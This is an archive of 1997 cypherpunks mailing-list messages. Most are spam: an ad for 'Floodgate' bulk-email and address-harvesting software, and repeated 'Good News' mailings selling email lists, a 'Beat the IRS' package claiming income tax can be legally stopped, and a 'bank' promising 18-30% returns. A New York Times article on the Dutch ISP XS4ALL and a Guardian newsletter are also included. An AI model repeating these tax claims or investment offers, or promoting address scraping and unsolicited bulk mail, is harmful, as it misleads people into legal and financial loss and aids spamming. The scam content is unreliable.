**Floodgate comes with over 100 pages of step by step documentation.
**Floodgate is the only one offering a money back guarantee.
**Floodgate has more testimonials. **Filter for filter, Floodgate
offers more capabilities, way more. **Floodgate does everything all
the others *combined* claim. **Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. **We have by far, the best technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your
advertising costs down to almost nothing. Think of what the
competition will do when they get their Floodgate program. Don't be
left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per sale.
- Let's also say you only get a 1% response (occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be
marketed using conventional postal direct mail marketing. The
possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The docs tell you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from computer savvy friends.

Floodgate has previously sold for as much as $2,499! The complete
package is now available for just $499.95, postpaid. If you order
within 72 hours, it can be your for only $349.95!! (Must be verified on out autoresponder log, by received email time stamp, fax time stamp, or voice message time stamp). These orders will also receive lifetime technical support and FREE OVERNIGHT SHIPPING (once your check has cleared the bank).

Some say Floodgate is expensive. Compared to direct mail, where you
pay for mailing lists, printing and postage, Floodgate is a bargain. For the cost of one traditional mailing, you'll own a Floodgate license and never again pay for lists, printing or postage. Those who know direct mail will agree, "Floodgate is the best advertising value on the Internet today!"

MONEY BACK GUARANTEE: Try the Floodgate Bulk Email Loader for 10 days. Do a test mailing. If you're not delighted, return the package for a full refund.

All Floodgate users receive unlimited technical and business support for 30 days, (and if you don't take up a lot of my time, for a lot longer.) To order the FLOODGATE Bulk Email Loader, send your check or money order for $349.95 within 72 hours from receiving this email letter to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 341-2924

You can receive a functional demo version of Floodgate by
simply faxing us a short note with your email address to 1-954-255-3713.

SYSTEM REQUIREMENTS

386 or larger
Windows 3.1+ with at least 4 meg ram or Windows 95 with 8 meg ram
Extra 5 MB hard drive space

Floodgate can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM FLOODGATE USERS

"It is everything you said it was. Within one week of my first
mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469
sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet
news groups. It works perfectly. Needless to say, I am very excited
about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool."
Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic.
After loading it on my system, I wanted to test it out. In my first
hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of
time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've
received, I can see you have a genuine love and respect of
people...Floodgate is a divine package. Wish I had found it sooner."
Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is
very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr.,
Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just
collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

------------------------------------------------------------------
FLOODGATE ORDER FORM:

Please print out this order form and then fill in the blanks......

______Yes! I would like to try your cutting-edge software so that I
can advertise my business to thousands of people on-line whenever I
like! I understand that I have 10 days to trial the software. If I am not fully delighted, I will cheerfully be refunded the purchase price, no questions asked! Please rush me the FLOODGATE package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE package at a substantial discount! I am ordering the
software for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive free lifetime technical support.

______I am ordering within 72 hours and I want FREE overnight shipping!

______I am ordering within 72 hours and I want 25,000 FREE email addresses
to get me started earning money with my marketing letter.


YOUR NAME_________________________________________________________

COMPANY NAME_____________________________________________________

YOUR POSITION______________________________________________________

STREET ADDRESS_____________________________________________________

CITY, STATE, ZIP______________________________________________________

PHONE NUMBERS______________________________________________________

FAX NUMBERS_________________________________________________________

EMAIL ADDRESSES_____________________________________________________

We accept Checks or Money Orders by mail.

I agree to pay WebAware an additional $27 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X_________________________________DATE:__________________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 341-2924


***********************************************************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original
check by mail. We will draft up a new check, with the exact
information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-255-3713.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stop1@usa.net
Date: Thu, 1 May 1997 22:37:07 -0700 (PDT)
To: Friend@public.com
Subject: HELLO
Message-ID: <4756089120792879.GP493285@morebiz-7.net>
MIME-Version: 1.0
Content-Type: text/plain


We apologize if this is an unwanted message.  If you wish to be
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Fri, 2 May 1997 02:15:52 -0700 (PDT)
To: tank@xs4all.nl
Subject: Artikel about XS4ALL in New York Times
Message-ID: <199705020912.LAA11297@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




THE NEW YORK TIMES/CYBERTIMES
www.nytimes.com


April 29, 1997

By BRUNO GIUSSANI

For an ISP in the Netherlands, Controversy Is an Old Friend

AMSTERDAM -- April has meant business as usual at XS4ALL
(access-for-all), the third-largest Internet service provider in the
Netherlands.

The month started off with the XS4ALL Web site being out of reach for a
substantial portion of the European online population, and it is ending
with the provider's adding a notch to its track record as a champion of
freedom of speech.

On April 11 the Dutch Web site was blocked by the German academic
network, Deutsche Forschungsnetz (DFN), which serves about 400
universities and research organizations and provides Internet access to
a half million people. DFN acted under pressure from the Federal
Criminal Investigation Bureau pointing out the illegal -- in Germany,
though not in the Netherlands -- content of Radikal Magazine, which is
housed on the XS4ALL server.

Radikal, a left-wing underground magazine, advocates "militant and
armed interventions" to overthrow the government, and has published a
"Short guide to hindering railway transports of all kinds" -- a
handbook describing how to attack and damage tracks.

Since selectively barring single home pages is technically impossible,
the DNF action cut off all 6,000 pages on the XS4ALL servers, including
those of Serbian opposition radio station B-92 and several scientific
databases.

Thus, while blocking illegal material, the German network was also
hampering scientific work -- which DFN has been established to
nurture.  Not to mention that skilled Internet users could route around
the obstacle by using a remailing system or a proxy server located
abroad.  What's more, Radikal Magazine can be found on several dozen
"mirror sites" around the world.

Ten days later -- after being flooded by protests -- the German network
lifted the ban on XS4ALL. "An effective blockage of illegal information
has not been within the realms of possibility," Klaus-Eckart Maass, a
DFN spokesman, conceded in an interview with The Associated Press.

Now, this happened the very same week as the indictment of a German
manager of CompuServe, a leading international online service, for the
transmission of allegedly illegal materials over the Internet and as
the German Parliament opened discussions on a new multimedia law.

The new bill would place the responsibility for content on the supplier
of the data, thus Internet service providers would not be held liable
for illegal information that could pass over their wires unless they
have been alerted and "have the technical ability" to delete or block
it -- the very same scheme the German academic network found impossible
to enforce.

It was not the first time XS4ALL had been at the forefront of an
Internet skirmish.

Last September, most German ISPs blocked XS4ALL for a month after
complaints by a regional prosecutor about Radikal.  (In January Angela
Marquardt, a Bavarian socialist politician, was indicted for linking to
the banned magazine from her personal home page).

"After a couple of weeks, the censored information was mirrored on some
50 Web sites around the world and voluntarily removed by our user from
the XS4ALL server," the company's founder, Felipe Rodriquez, 28,
explained. "After the block had ended, our user put the documents back
on his page."

Along with German prosecutors, the Amsterdam-based provider has lined
up a fair list of other adversaries: the McDonald's fast-food chain,
the Serbian government and the Church of Scientology, just to name a
few.

XS4ALL's roots reach into the hacker movement. The venture started out
in 1993 "to give anyone the possibility to access the Internet." At
that time there were no commercial access providers in Holland. It has
grown into a respectable and very successful business in less than four
years, yet the principles on which it was created have not changed:
"Internet for the masses" is still its motto.  XS4ALL currently has 55
employees, boasts 21,000 subscribers and hosts some 6,000 home pages.

"A few years ago, we would have been portrayed as a band of dangerous
anarchists, bent on disrupting society," Rodriquez told the Dutch daily
Trouw. "But now they have come to see that we are nice and quiet people
really."

The company was instrumental in the creation of the Amsterdam Digital
City project, a community networking initiative backed by taxpayer's
money, and Rodriquez himself played a key role in setting up the Dutch
anti-child-pornography hotline, the first of its kind, last year.

"Before we started the hotline, Holland had a reputation of being a
kid-porn freehaven," he said in an interview last week. "We designed it
as a non-censoring form of self-regulation."

The hotline is run by Internet users and providers. Unlike Britain's
Internet Watch Foundation, the Dutch hotline doesn't censor any
information nor does it ask the provider to do so. Hotline operators
contact the author of the information and ask him to remove the
offending content.  "If the author does not comply, we report him to
the police, and he'll be prosecuted," said Rodriquez, who also is
chairman of the Dutch Providers Association.

"The Internet Watch Foundation forces the provider to remove the
illegal content," he added. "This is a fundamentally different approach
to responsibilities on the Internet. We think the author of the
information is responsible for his own actions, not the provider."

That's why XS4ALL didn't take any steps against the customer who posted
Radikal Magazine on its server. "Our policy is that as a provider we
are not in the position to judge whether this magazine is illegal in
the Netherlands, therefore we do not interfere with our users' freedom
of speech," Rodriquez stated.

"If there is any doubt about the legality of the publication in
Holland, a Dutch court of law would be the proper place to remove these
doubts," he added.

This was the case when, in September 1995, the Religious Technology
Center -- better known as the Church of Scientology -- filed for the
seizure of all the XS4ALL computer equipment "because one of our users
had put on his home page some information to which Scientology said it
owned the copyright."

The document -- the now famous "Fishman affidavit" -- is the actual
transcript of a testimony given by Steven Fishman in a Los Angeles
Court in which he accused the church of having forced him to act
illegally.

"We denied any responsibility for the content on our users' pages; they
decide for themselves what they will publish," Rodriquez recalled. "We
won the litigation." The user preferred to take down the controversial
document.

Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
comply, as it did a few weeks ago when it shut down a customer's home
page called Neuroroom, which sold marijuana and other soft drugs in
Holland and abroad.

The company's commitment to support free expression and democratization
of the Internet doesn't stop here. Last fall when the Serbian
government censored radio station B-92, XS4ALL helped design an
Internet campaign and started to carry news broadcasts (in RealAudio
format) that kept the rare opposition voice alive and the international
public informed through independent accounts of the events occurring
during the mass demonstrations in Belgrade.

"They gave us disk space, donated network traffic and helped in
training people," said Frank Tiggelaar, a Dutch activist for
democratization in former Yugoslavia.

"Basically any project we like gets free resources from XS4ALL,"
Rodriquez commented.

The campaign of Helen Steel and Dave Morris is among the projects
XS4ALL's old hackers do like. The two British environmentalists are the
main characters of a civil case that started in 1990 when the
McDonald's restaurant chain sued them for distributing flyers pointing
at what they called the company's economic and ecological "ravages."

The trial is not over yet -- but it has spawned a large Internet-based
support network and fed a huge anti-McDonald's Web site called
McSpotlight hosted, not surprisingly, by XS4ALL.

EUROBYTES is published weekly, on Tuesdays. Click here for a list of
links to other columns in the series.


Related Sites Following are links to the external Web sites mentioned
in this article. These sites are not part of The New York Times on the
Web, and The Times has no control over their content or availability.
When you have finished visiting any of these sites, you will be able to
return to this page by clicking on your Web browser's "Back" button or
icon until this page reappears.


Bruno Giussani at eurobytes@nytimes.com welcomes your comments and
suggestions.


		Copyright 1997 The New York Times Company


--
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 2 May 1997 21:52:21 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Barmy for Bhajis!
Message-ID: <199705021107.MAA07297@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week we've taken one of the net's most respected magazines - and 
curried it. That's right, we proudly invite you to feast on the Curried 
Issue of Shift Control, a veritable korma-copia of spicy treats. Our 
menu includes every curried delicacy ever invented - plus one or two 
that Shift Control's own masters of masala have cooked up themselves...

The starter: Poppadum will eat itself (a poppadum taste-a-thon).

The main dish: A tour through the three levels of curry house, from the
corner kormarama to the true viceroys of vindaloo.

The side dishes:
Curried thumbs - a tasteful selection of microwavable curries.
Curried songs - from 'Korma Chameleon' to 'Vindaloo Sunset'.
Curried Spice Girls - if the Girls were curries, what kinds would they be? 
Curried films - featuring 'Last Mango in Paris' and other screen platters.

Also on the menu this week...

The best curry of the millennium and a quiz to test how wild you are about 
curry - all with a rich and fragrant smothering of instant granulated Chip 
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We also cater for those who prefer British fare with a fine selection of 
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So give yourself a tasty treat and partake in our sumptuous offerings, all
of which are hot, steaming and awaiting your delectation  at
http://www.shiftcontrol.com


Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-E-Wiz@usa.net
Date: Fri, 2 May 1997 20:37:15 -0700 (PDT)
Subject: "GOOD NEWS"             "The Good News Electronic Journal"
Message-ID: <m0wNVKb-00003AC@crash.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


*****************************************************************
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     ***Jon L. Boulet (602)267-9688 *** Sponsor ID #jb4828***
******************************************************************
Check out -LINKCO- (602)267-9688 1-11-pm (MST)
We offer the following:
1. Domain registration services.
2. Domain name sales, trades, and consignments.
3. Copywriting.
4. Typeseting and graphic design.
5. TAX advice and counseling.
6. E-mail address lists.
7. Fax number lists
8. Web page design and hosting.
9. Bulk e-mail software and e-mail address extractors.
10. Pop3 E-mail accounts that are bulk mail friendly.
11. FREE investment advice.
12. FREE MLM counseling.
13. Discount Bulk e-mailing service.
14. 9 cent/min. long distance service. Changing LD provider
    not required. FREEBIE, just call me.
15. Discount advertising - opportunity publications.
*************************************************************
Dear Entrepreneur,

How to get MORE ORDERS for ANYTHING YOU SELL! 

Hi, saw your posting online and was wondering  if you  market 
products/services using your computer and would like to learn
how to do  so QUITE a bit  better than  what you  are already
doing?

If so, just say the words  (words=MORE ORDERS) and I'll email
a  free,  helpful file  that could mean the  online marketing
difference  between  scintillating  success  and  frustrating
failure.  Just write me at: Linkco1@Juno.com  and a complete
information  package will be e-mailed to you ASAP.
*************************************************************
       ********* E-MAIL DIRECT MARKETING ************
Effective Direct Advertising at a cost you can afford......
CARD DECKS cost you about 2 cents per card or $2,000 per 
100,000. A post card size Advertisement in print cost about
$800 per 100,000 circulation.

BUT GET THIS !!!!! YOU can send your FULL 1 or 2 page sales
letter and order form to 100,000 anxious affluent computer
owners that are interested in your opportunity for ONLY: 
<<< $129 >>>  That's the power of E-Mail and it means more and
biger profits for YOU !!!!!

Your cost is about $1 per thousand to get your sales letter
out. If this doesn't make you BIG MONEY, NOTHING WILL!!

Send us your advertising copy on a 3-1/2" disk in ASCII (.TXT)
format along with this ad and your $129 check payable to:
(LINKCO). Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082
QUESTIONS CALL: (602)267-9688  3-11PM (MST).
**************************************************************
**************************************************************
        10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES
                *** ON 3-1/2" DISK *** $49.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
             *** 2,000 MLM'ers E-MAIL ADDRESSES ***
                *** ON 3-1/2" DISK *** $29.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
                             ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-E-Wiz@usa.net
Date: Fri, 2 May 1997 21:04:22 -0700 (PDT)
Subject: "GOOD NEWS"             "The Good News Electronic Journal"
Message-ID: <m0wNVlw-00001rC@crash.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


*****************************************************************
Thank you for Subscribing to "The Good News Electronic Journal".
Your subscription is appreciated. To unscribe: HIT reply, type
REMOVE in the subject area and HIT send.
                   Thank You, The Management
*****************************************************************
*** CHECKER Software -- Accept checks by Fax, Phone, or E-mail.
Reg. Retail Price $199 - <<<- GET IT NOW FOR $49.95 ->>> Send
this ad and payment to: Linkco - POB 66781 - Phoenix, AZ 85082
*****************************************************************

             ******************************
PLEASE IGNORE THIS MESSAGE IF YOU LIVE OUTSIDE THE USA
------------------------------------------------------
              BEAT-THE-IRS & PAY-NO-MORE
              --------------------------

Our PACKAGE, (Beat The IRS & PAY-NO-MORE) will teach you
EXACTLY how to EASILY:
           STOP FEDERAL Income Tax Withholding,
             STOP April filing of 1040 Form,
                           & 
            STOP THE IRS EXTORTION PERMANENTLY
-------------------------------------------------------
The IRS Federal Income System is based on VOLUNTARY 
COMPLIANCE.... We will teach you how to legally VOLUNTEER
OUT OF THE SYSTEM!
--------------------------------------------------------
- Your Success is ABSOLUTELY unconditionally GUARANTEED if
your were BORN in and LIVE in one of the 50 Republic States.
Our methods work every time for everybody. They are 100% legal, 
honest and ethical. We will pay anybody $1,000 if they can 
prove our method is ILLEGAL, DISHONEST or UNETHICAL!!! Our
method has worked for every person who has ever bought this
package without exception. NOBODY HAS EVER FAILED OR ASKED FOR
A REFUND!!!
            
- Our PACKAGE includes a LIFETIME, FREE, SIMPLE, Sizzling,
RED Hot 50% PAY OUT Dealership, PLUS ALL the marketing material
master copies you will ever need. YOUR PAYCHECKS WILL BE 10% TO
20% BIGGER EVERY WEEK, within 2 weeks of filing the proper forms
and affidavit. WHY NOT GIVE YOURSELF A RAISE THIS YEAR BY 
EXERCISING AND ENJOYING MORE OF YOUR CONSTITUTIONAL RIGHTS.
SET YOURSELF FREE!
-------------------------------------------------------------
Your package includes unlimited FREE phone consultations, a copy
of the U.S. Constitution, The Bill of Rights, forms, affidavits,
and much,  much more!

TO ORDER BY MAIL: Send this entire ad and a $35 Money Order to:
LINKCO --Dept. #1,  POB 66781 -- Phoenix, AZ 85082

To order by phone and Fax Check call our office at (602)267-9688
between the hours of 4 and 11pm Mountain Standard Time. You may 
also call just to ask questions. Thanks for reading this message!

Dealer #00001 
- (Unconditional Money Back Guarantee) - - Copyright 1996 Linkco -
*****************************************************************
From: FREEDOM STAR BANK -- P.O. Box 66781 -- Phoenix, AZ 85082
To Wise Investors,

         The Freedom Star National Bank of Arizona offers:
               "The More You Save The More You Earn".
        We offer only CD's, i.e., Certificates of Deposit.

                  $100-$999 deposit pays 18%.
                $1,000-$4,999 deposit pays 24%.
                $5,000 and up deposit pays 30%.

         All % rates are per year and are not compounded.
            There is a 50% penalty for early withdrawal.
                All deposits have a 1 year maturity.
      All funds must remain on deposit for a least 6 months.
             Call Mr. Jon L. Boulet at 1-602-267-9688
        for more information or to make a deposit. Thanks!
******************************************************************
      100,000 E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $19.95
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
        3,800 FRESH HOT FAX NUMBERS ***$41*** ON 3-1/2 DISK
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
  (YOUR 50 WORDS *** BULK E-MAILED) to (1.5 MILLION HOT PROSPECTS)
        ***SEND YOUR 50 WORDS ON 3-1/2 DISK + $129.95***
        LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
                       ***GREAT NEWS!***
Learn my SECRET to build a large downline FAST! Make more MONEY
 than you've ever made in your life! Great News International
 has created a NEW and POWERFUL marketing concept and its own
 DOWNLINE GENERATOR to market the finest product package ever
                 offered through an MLM company!

A possible WEEKLY $8,968 with each group of 30 people!! Only $50
one time out of pocket! SATISFACTION MONEY BACK GUARANTEE! FREE
report, Valuable to all Networkers!
              ***Find Out How--Call 716-453-8952***
           ***Fax-On-Demand (703)904-7770 Doc. #404***
        ***InterNET: http://www.gnint.com/ir/jb4428.htm***
     ***Jon L. Boulet (602)267-9688 *** Sponsor ID #jb4828***
******************************************************************
Check out -LINKCO- (602)267-9688 1-11-pm (MST)
We offer the following:
1. Domain registration services.
2. Domain name sales, trades, and consignments.
3. Copywriting.
4. Typeseting and graphic design.
5. TAX advice and counseling.
6. E-mail address lists.
7. Fax number lists
8. Web page design and hosting.
9. Bulk e-mail software and e-mail address extractors.
10. Pop3 E-mail accounts that are bulk mail friendly.
11. FREE investment advice.
12. FREE MLM counseling.
13. Discount Bulk e-mailing service.
14. 9 cent/min. long distance service. Changing LD provider
    not required. FREEBIE, just call me.
15. Discount advertising - opportunity publications.
*************************************************************
Dear Entrepreneur,

How to get MORE ORDERS for ANYTHING YOU SELL! 

Hi, saw your posting online and was wondering  if you  market 
products/services using your computer and would like to learn
how to do  so QUITE a bit  better than  what you  are already
doing?

If so, just say the words  (words=MORE ORDERS) and I'll email
a  free,  helpful file  that could mean the  online marketing
difference  between  scintillating  success  and  frustrating
failure.  Just write me at: Linkco1@Juno.com  and a complete
information  package will be e-mailed to you ASAP.
*************************************************************
       ********* E-MAIL DIRECT MARKETING ************
Effective Direct Advertising at a cost you can afford......
CARD DECKS cost you about 2 cents per card or $2,000 per 
100,000. A post card size Advertisement in print cost about
$800 per 100,000 circulation.

BUT GET THIS !!!!! YOU can send your FULL 1 or 2 page sales
letter and order form to 100,000 anxious affluent computer
owners that are interested in your opportunity for ONLY: 
<<< $129 >>>  That's the power of E-Mail and it means more and
biger profits for YOU !!!!!

Your cost is about $1 per thousand to get your sales letter
out. If this doesn't make you BIG MONEY, NOTHING WILL!!

Send us your advertising copy on a 3-1/2" disk in ASCII (.TXT)
format along with this ad and your $129 check payable to:
(LINKCO). Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082
QUESTIONS CALL: (602)267-9688  3-11PM (MST).
**************************************************************
**************************************************************
        10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES
                *** ON 3-1/2" DISK *** $49.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
             *** 2,000 MLM'ers E-MAIL ADDRESSES ***
                *** ON 3-1/2" DISK *** $29.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
                             ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-E-Wiz@usa.net
Date: Fri, 2 May 1997 23:46:48 -0700 (PDT)
Subject: "GOOD NEWS"             "The Good News Electronic Journal"
Message-ID: <m0wNYGL-00009SC@crash.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


*****************************************************************
Thank you for Subscribing to "The Good News Electronic Journal".
Your subscription is appreciated. To unscribe: HIT reply, type
REMOVE in the subject area and HIT send.
                   Thank You, The Management
*****************************************************************
*** CHECKER Software -- Accept checks by Fax, Phone, or E-mail.
Reg. Retail Price $199 - <<<- GET IT NOW FOR $49.95 ->>> Send
this ad and payment to: Linkco - POB 66781 - Phoenix, AZ 85082
*****************************************************************

             ******************************
PLEASE IGNORE THIS MESSAGE IF YOU LIVE OUTSIDE THE USA
------------------------------------------------------
              BEAT-THE-IRS & PAY-NO-MORE
              --------------------------

Our PACKAGE, (Beat The IRS & PAY-NO-MORE) will teach you
EXACTLY how to EASILY:
           STOP FEDERAL Income Tax Withholding,
             STOP April filing of 1040 Form,
                           & 
            STOP THE IRS EXTORTION PERMANENTLY
-------------------------------------------------------
The IRS Federal Income System is based on VOLUNTARY 
COMPLIANCE.... We will teach you how to legally VOLUNTEER
OUT OF THE SYSTEM!
--------------------------------------------------------
- Your Success is ABSOLUTELY unconditionally GUARANTEED if
your were BORN in and LIVE in one of the 50 Republic States.
Our methods work every time for everybody. They are 100% legal, 
honest and ethical. We will pay anybody $1,000 if they can 
prove our method is ILLEGAL, DISHONEST or UNETHICAL!!! Our
method has worked for every person who has ever bought this
package without exception. NOBODY HAS EVER FAILED OR ASKED FOR
A REFUND!!!
            
- Our PACKAGE includes a LIFETIME, FREE, SIMPLE, Sizzling,
RED Hot 50% PAY OUT Dealership, PLUS ALL the marketing material
master copies you will ever need. YOUR PAYCHECKS WILL BE 10% TO
20% BIGGER EVERY WEEK, within 2 weeks of filing the proper forms
and affidavit. WHY NOT GIVE YOURSELF A RAISE THIS YEAR BY 
EXERCISING AND ENJOYING MORE OF YOUR CONSTITUTIONAL RIGHTS.
SET YOURSELF FREE!
-------------------------------------------------------------
Your package includes unlimited FREE phone consultations, a copy
of the U.S. Constitution, The Bill of Rights, forms, affidavits,
and much,  much more!

TO ORDER BY MAIL: Send this entire ad and a $35 Money Order to:
LINKCO --Dept. #1,  POB 66781 -- Phoenix, AZ 85082

To order by phone and Fax Check call our office at (602)267-9688
between the hours of 4 and 11pm Mountain Standard Time. You may 
also call just to ask questions. Thanks for reading this message!

Dealer #00001 
- (Unconditional Money Back Guarantee) - - Copyright 1996 Linkco -
*****************************************************************
From: FREEDOM STAR BANK -- P.O. Box 66781 -- Phoenix, AZ 85082
To Wise Investors,

         The Freedom Star National Bank of Arizona offers:
               "The More You Save The More You Earn".
        We offer only CD's, i.e., Certificates of Deposit.

                  $100-$999 deposit pays 18%.
                $1,000-$4,999 deposit pays 24%.
                $5,000 and up deposit pays 30%.

         All % rates are per year and are not compounded.
            There is a 50% penalty for early withdrawal.
                All deposits have a 1 year maturity.
      All funds must remain on deposit for a least 6 months.
             Call Mr. Jon L. Boulet at 1-602-267-9688
        for more information or to make a deposit. Thanks!
******************************************************************
      100,000 E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $19.95
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
        3,800 FRESH HOT FAX NUMBERS ***$41*** ON 3-1/2 DISK
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
  (YOUR 50 WORDS *** BULK E-MAILED) to (1.5 MILLION HOT PROSPECTS)
        ***SEND YOUR 50 WORDS ON 3-1/2 DISK + $129.95***
        LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
                       ***GREAT NEWS!***
Learn my SECRET to build a large downline FAST! Make more MONEY
 than you've ever made in your life! Great News International
 has created a NEW and POWERFUL marketing concept and its own
 DOWNLINE GENERATOR to market the finest product package ever
                 offered through an MLM company!

A possible WEEKLY $8,968 with each group of 30 people!! Only $50
one time out of pocket! SATISFACTION MONEY BACK GUARANTEE! FREE
report, Valuable to all Networkers!
              ***Find Out How--Call 716-453-8952***
           ***Fax-On-Demand (703)904-7770 Doc. #404***
        ***InterNET: http://www.gnint.com/ir/jb4428.htm***
     ***Jon L. Boulet (602)267-9688 *** Sponsor ID #jb4828***
******************************************************************
Check out -LINKCO- (602)267-9688 1-11-pm (MST)
We offer the following:
1. Domain registration services.
2. Domain name sales, trades, and consignments.
3. Copywriting.
4. Typeseting and graphic design.
5. TAX advice and counseling.
6. E-mail address lists.
7. Fax number lists
8. Web page design and hosting.
9. Bulk e-mail software and e-mail address extractors.
10. Pop3 E-mail accounts that are bulk mail friendly.
11. FREE investment advice.
12. FREE MLM counseling.
13. Discount Bulk e-mailing service.
14. 9 cent/min. long distance service. Changing LD provider
    not required. FREEBIE, just call me.
15. Discount advertising - opportunity publications.
*************************************************************
Dear Entrepreneur,

How to get MORE ORDERS for ANYTHING YOU SELL! 

Hi, saw your posting online and was wondering  if you  market 
products/services using your computer and would like to learn
how to do  so QUITE a bit  better than  what you  are already
doing?

If so, just say the words  (words=MORE ORDERS) and I'll email
a  free,  helpful file  that could mean the  online marketing
difference  between  scintillating  success  and  frustrating
failure.  Just write me at: Linkco1@Juno.com  and a complete
information  package will be e-mailed to you ASAP.
*************************************************************
       ********* E-MAIL DIRECT MARKETING ************
Effective Direct Advertising at a cost you can afford......
CARD DECKS cost you about 2 cents per card or $2,000 per 
100,000. A post card size Advertisement in print cost about
$800 per 100,000 circulation.

BUT GET THIS !!!!! YOU can send your FULL 1 or 2 page sales
letter and order form to 100,000 anxious affluent computer
owners that are interested in your opportunity for ONLY: 
<<< $129 >>>  That's the power of E-Mail and it means more and
biger profits for YOU !!!!!

Your cost is about $1 per thousand to get your sales letter
out. If this doesn't make you BIG MONEY, NOTHING WILL!!

Send us your advertising copy on a 3-1/2" disk in ASCII (.TXT)
format along with this ad and your $129 check payable to:
(LINKCO). Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082
QUESTIONS CALL: (602)267-9688  3-11PM (MST).
**************************************************************
**************************************************************
        10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES
                *** ON 3-1/2" DISK *** $49.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
             *** 2,000 MLM'ers E-MAIL ADDRESSES ***
                *** ON 3-1/2" DISK *** $29.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
                             ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 68529733@22374.com
Date: Sun, 4 May 1997 02:59:37 -0700 (PDT)
To: lksjdfl@aol.com
Subject: Revolutionized!!!
